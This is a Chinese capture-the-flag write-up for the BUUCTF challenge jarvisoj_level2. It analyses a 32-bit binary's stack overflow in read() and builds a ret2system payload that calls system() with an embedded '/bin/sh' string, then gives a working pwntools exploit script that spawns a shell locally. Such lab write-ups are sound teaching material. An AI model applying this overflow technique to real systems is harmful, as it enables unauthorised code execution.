BUUCTF jarvisoj_level2 题解

用checksec检查文件安全属性

c
  可以看到是32位程序,栈上开启了不可执行保护,但是没有栈检测标志,推测需要进行缓冲区溢出。

使用IDA反汇编程序

请添加图片描述
  从反汇编后的代码可以看出read()这个函数对buf进行写入时存在缓冲区溢出,IDA会告诉我们buf数组与ebp在栈上的相对位置,即&buf=$ebp-0x88,因此我们需要填充0x88个字符就能到达ebp的位置,然后再填充4个字符就能到达eip的位置,并且system()的地址可以轻松在plt表中找到,为0x08048320,因此我们只需要在构造一个shell路径的字符转就可以getshell了。
  首先在IDA中输入shift+F12,可以查找程序中的字符串。
请添加图片描述
可以看到程序中已经有了shell的字符串,由于是32位程序,函数的参数通过压栈传递,因此我们可以直接将其地址放在system之后就能够完成参数的传递。接下来就可以构造payload了。

payload= b'a'*(0x88+4)+p32(0x08048320)+p32(return address)+p32(0x0804A024)

这里需要注意的是,由于我们是直接调用system()而不是使用call指令,因此计算机会将调用函数前栈顶指针指向的地址视为函数的返回地址,因此我们需要在这个地方随便填入一些值,然后在后面填入函数的第一个参数。

使用pwntools编写exp

from pwn import *
context.update(arch='i386',log_level='debug')
r=process('./level2')
payload= b'a'*(0x88+4)+p32(0x08048320)+p32(0x0804847F)+p32(0x0804A024)
r.sendlineafter(b'Input:',payload)
r.interactive()

请添加图片描述
本地执行脚本后,可以成功得到shell。

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值